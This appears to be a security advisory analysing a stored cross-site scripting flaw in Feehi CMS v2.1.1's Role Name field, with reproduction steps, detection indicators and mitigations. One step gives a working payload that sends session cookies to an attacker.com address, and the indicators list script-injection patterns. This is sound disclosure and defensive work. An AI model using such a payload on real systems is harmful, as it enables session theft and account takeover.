CVE-2026-31352: 
PHP vulnerability analysis and mitigation

CVE-2026-31352 is an authenticated stored cross-site scripting (XSS) vulnerability in the Role Management module of Feehi CMS v2.1.1. It allows low-privileged authenticated attackers to inject malicious scripts via the Role Name parameter, which are then stored in the database and executed in the browsers of other users who view the affected role. The vulnerability was disclosed on April 6, 2026, with a GitHub Advisory (GHSA-hqjc-wfvx-x2fv) published the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Github Advisory, GitHub Issue).

The root cause is improper neutralization of user-controlled input in the Role Name field of the Role Management module (CWE-79). Feehi CMS v2.1.1 fails to sanitize or encode special characters (e.g., <, >, (, )) before storing and rendering role names, allowing an attacker to inject arbitrary HTML or JavaScript payloads. Exploitation requires the attacker to be authenticated with at least low-level privileges sufficient to create or edit roles; the payload executes when another authenticated user (e.g., an administrator) views the role list or creates a new role. A public proof-of-concept with step-by-step reproduction instructions is available on the project's GitHub issue tracker (GitHub Issue).

Successful exploitation allows the injected script to execute in the browser context of any user who views the affected role, including administrators. This can lead to session token theft, account hijacking, unauthorized actions performed on behalf of compromised users, and potential escalation of access within the CMS. Availability is not directly impacted, but confidentiality and integrity are both affected at a low level per the CVSS assessment (Github Advisory, GitHub Issue).

A public proof-of-concept (PoC) with detailed reproduction steps is available on the Feehi CMS GitHub issue tracker, classified as a real exploit with high confidence by Feedly threat intelligence (GitHub Issue). There is no current evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.018% (0.037% per GitHub Advisory), placing it in the 11th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Authenticate: Log in to the Feehi CMS backend with any account that has permission to create or manage roles (low-privilege account sufficient).
2. Navigate to Role Management: Access the Role Management module in the CMS admin panel.
3. Create a new role with XSS payload: In the Role Name field, enter a crafted XSS payload such as <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and save the role.
4. Payload stored: The malicious script is stored in the database without sanitization or encoding.
5. Trigger execution: When an administrator or another user navigates to the role creation or role listing page, the stored payload is rendered and executed in their browser.
6. Achieve objective: The executed script can exfiltrate session cookies to an attacker-controlled server, enabling session hijacking and account takeover (GitHub Issue).

• Network: Outbound HTTP requests from the CMS server or admin browser to unexpected external domains (e.g., attacker-controlled cookie-stealing endpoints) originating from role management page interactions.
• Logs: CMS access logs showing POST requests to the role creation/update endpoint containing HTML or JavaScript tags (e.g., <script>, onerror=, javascript:) in the role name parameter.
• Database: Role records in the database containing raw HTML or JavaScript in the role name field rather than plain text.
• Browser: Unexpected redirects or network requests initiated from the admin panel when viewing the role list or role creation page.

As of the GitHub Advisory publication (April 6, 2026), no patched version of Feehi CMS has been released — the advisory lists "None" for patched versions (Github Advisory). Recommended mitigations include: (1) implementing server-side input validation and output encoding on the Role Name parameter to neutralize HTML/JavaScript special characters; (2) deploying a Content Security Policy (CSP) header to restrict inline script execution; (3) restricting role creation/management permissions to the minimum necessary users; and (4) monitoring the GitHub repository for an official patch release.